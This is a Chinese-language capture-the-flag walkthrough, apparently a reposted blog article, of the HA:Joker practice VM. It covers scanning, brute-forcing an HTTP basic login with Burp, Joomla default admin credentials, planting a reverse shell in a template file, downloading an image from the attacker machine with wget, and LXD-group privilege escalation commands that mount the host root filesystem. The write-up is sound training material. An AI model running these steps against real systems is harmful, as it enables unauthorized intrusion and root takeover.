服务器可以做为靶机吗_原创干货 | 从0到1靶机渗透实例之HA:joker

c7a758f085400189ed7c5dd06a8a9506.gif

听说转发文章

会给你带来好运

前言

国庆过后事情慢慢没那么多了,我就开始整理了一下这个靶机的WP。

这次靶机整体难度不算高,而且整个镜像也不大,适合新手练手使用。

环境

靶机:

HA:Joker(ubuntu)

Filename: joker.zip

File size: 856 MB

MD5: F34A2D25CF07D119F4E19D7D0FCC3DE2

SHA1: 380E9DABF9623901843ADE2A1D5BD567C2BD5A02

攻击机:kalilinux

难度:中

测试流程

1 信息搜集     靶机文件导入到vmare啥的基本配置咱就不废话了,不过需要注意的是在我的机器上导入后网络连接需要手动设置为NAT模式,如果你的虚拟机网络配置模式不是NAT可能会扫描不到靶机IP。     启动靶机,使用kali自带的网段扫描工具netdiscover扫描。

369c7846e6ede7dfdefe9120fe0feda8.png

OK可以看到192.168.26.143为我们的靶机IP,然后浏览器中访问该地址。

153acd413b44e2d2a467e3272a4be8f0.png

然后常规思路,查看源代码

4de4997f2e3537e21da1d2dce24468f7.png

然而这个靶机的提示其实不在这... 靶机的描述中有提示,最下面一行的意思是“枚举才是关键”

9b9e765f73ba3c370dc41ecbaca6cdc7.png

这个页面本身没有找到什么有价值的提示信息,所以我们扫描该IP开放的端口看看有什么发现

16f0617e5103e60c06705bbc31232dfc.png

Nmap -A192.168.26.143得到靶机除了常规端口之外还开放了一个8080端口,访问一波看看

a7bef29cac68d93e146b5a40c7016e9d.png

需要登录,用户名其实已经提示的很明显了,就是Joker。但是关于密码并没有找到什么有价值的提示信息。所以我决定返回刚才的80端口站点看看有没有什么提示,使用kali的dirb扫描工具扫到了一个奇怪的txt文件

71df8e3216ed64ec944171c28b832387.png

3c8d875f8ba9089cab313fa1b8438a3d.png

其实这种提示我也是有点懵...

在求助了某不存在的网站上的大佬之后,得到了这个提示文件的关键词rock和100.

Kali自带了一个名为rockyou.txt的密码字典,100的意思就是取字典的前100个...

使用head命令取出rockyou.txt文件的前100个密码:

e86e4ad60964219bce507d2bc8276f09.png

因为我物理机是Windows环境,所以我把这个文件另存到本地rockyou.txt文件中。

然后启动神器burp,查看一下8080端口服务的登录请求

64a796bd15337398d1082af217301ee7.png

这里的数据应该就是我们的登录凭证,base64解码看下格式

f3f75f932b57a2086ac1e50f3a10450b.png

登陆凭证的格式为用户名:密码然后再经过一次base64编码。

burp中将数据包发送到Intuder标记数据包中的登录账号密码

因为登录时会将账号和密码编码后再发送,所以我们需要把字典文件稍微做点变动。

2eca8627a7df4a5d06ceb07ad4933ba6.png

这样字典文件变为

2f36f461782316abe9785cb5f41be7ac.png

导入到burp的intruder中,在下面的PayloadProcessing中添加一个使用base64加密的规则

cdf8dc8070cd66ae926ba317732c9fbc.png

完事之后点击startattack开始爆破密码

5ef3cfa9cb46e2950477578913847ee4.png

很快得到一个和其他返回数据大小不一样的数据包,对这个值进行base64解码

193ff55895bbd6be65784b69d23fc71d.png

现在我们账号joker密码hannah都有了,再次登录

d0a66ce8a08f82c6b5d101e4af53787d.png

到这里提示就很明显了,这个站点使用了joomla这个CMS,登录处尝试了joomla的默认账号密码joomla之后成功登录到管理员账户。 2 getshell 登录到后台

25ed48858d5a219498e973d716413ccf.png

账号密码均为joomla

095867635cf1890a1a10609fefb2f422.png

找了一圈发现在后台的模板修改功能中可以直接修改php文件——可以直接将模板文件中的PHP文件替换为反弹shell文件。

9de03f981419d61cd0949703ea50751e.png

选择模板

38e70f48d01b30e625abb34ba4fe28df.png

接着修改index.php文件

4f0c0dd2fb7c6230a44365ab9b16abf4.png

将index.php文件修改为反弹shell代码,注意这里的ip地址,如果你是在物理机操作,将这个ip修改为你自己的本机ip。修改完成后点击save保存index.phpw文件。

然后我们的物理机启动nc监控1234端口同时点击TemplatePreview按钮预览index.php文件

e27725670ede734db3ba153525327a90.png

15288316972d53f9baf49d9d24d92189.png

Shell成功反弹。 我们得到反弹回来的shell功能并不完整,需要使用python的pty模块创建一个模拟终端环境,这样才可以正确执行Linux命令。 执行python3 -c ‘importpty;pty.spwan(“/bin/bash”)’

d90afceb7f3c3dab063b53c0caf762a9.png

进入靶机后,使用id命令显示用户的ID,以及所属群组的ID,可以看到目前我们登录的这个账户名为www-data,所属组中还有一个特殊的lxd组,这个特殊的组就是我们提权的关键点。

3 提权 想要提升为root权限,我们需要给靶机挂载一个lxd镜像。可以在kali或者自己的服务器上从github下载build-alpine文件,然后执行build-alpine这个shell脚本。“build-alpine”,将以压缩文件的形式构建最新的Alpine镜像,最后我们需要在靶机中下载这个镜像。

1

2

3

git clone https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

./build-alpine

6888cd8268a47ab4801fc0afc7f140a3.png

完成后会生成一个最新的alpine镜像

59c53bb3e905809919fdae4688afff61.png

接着我们需要把这个文件发到靶机上,这里我使用的是kali自带的一个简易HTTP服务器,使用命令python -mSimpleHTTPServer

67a9d34deb4acf764363cb33cb351a47.png

在靶机上使用wget命令获取到镜像文件并挂载到系统中,同时定义该镜像别名为myimage

1

2

3

wget http://192.168.1.107:8000/alpine-v3.10-x86_64-20191019_0712.tar.gz

lxc image import ./alpine-v3.10-x86_64-20191022_2218.tar.gz --alias myimage

lxc image list

这里需要注意一点的是,在靶机的根目录不能执行wget命令,因为权限限制会报错 ae74e2600c933a9ff39c89ea471e5b35.png 需要先切换到tmp临时文件目录

ee6d6a32f3d5d65d8caa141a8616cf7d.png

f82f99a8f610de5cfe7131bbb84292f2.png

1

2

3

4

5

6

7

8

lxc init myimage ignite -c security.privileged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

lxc start ignite

lxc exec ignite /bin/sh

id

cd /mnt/root/root

ls

cat final.txt

最后,我们把容器挂载到/root目录中。进入容器后通过/mnt/root可以看到靶机的所有文件。执行完脚本文件后,我们的shell操作符发生变化,代表我们现在进入的是容器的shell操作页面。这个容器拥有该靶机的root权限,也就是我们通过容器成功提权。这个时候其实整个靶机的渗透测试就已经结束了,不过还有一个flag文件在root目录下,cat命令查看final.txt获取flag.

64a2e752b0f381520e67007d593e1a69.png

不过这里我在测试的时候,使用Windows查看final.txt文件发现图标乱码了,而且通过xshell连接kali虚拟机也不能正常显示这个文件。

使用kali图形界面中的终端可以看到最终效果

92aa89cade85e4d62d880f8637188c9b.png

总结

这就是整个joker靶机渗透测试的全部过程了,整个过程的关键点有两个,一个是前期的爆破,提示文件都比较隐蔽而且有一些电影文化元素的影响,刚开始我盯着那个页面源代码中的注释看了一天也没得头绪,明知道需要爆破但是没有什么方向。还有那个secret.txt提示文件,我也是看了半天也没想到就是指的kali自带的密码字典。

然后就是lxd容器提权,这就是经验积累的问题了,如果没有遇到过这种情况可能会比较难想到使用这种技术提权。初学渗透测试,希望各位大佬多多赐教。

原创文章未经授权禁止转载,谢谢合作

2071b0dbd0b1c6bd84736f05b16e7807.gif

● 云众可信征稿进行时

● 原创干货 | 记一次拟真环境的模拟渗透测试

● 原创干货 | 从手工去除花指令到Get Key

● 原创干货 | 浅谈被动探测思路

·END·

云众可信

原创·干货·一起玩

4adba39f0acf1f5be5c646777c08a766.png好看的人才能点 5396c29b75573e674905ae9c231cbd38.gif
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值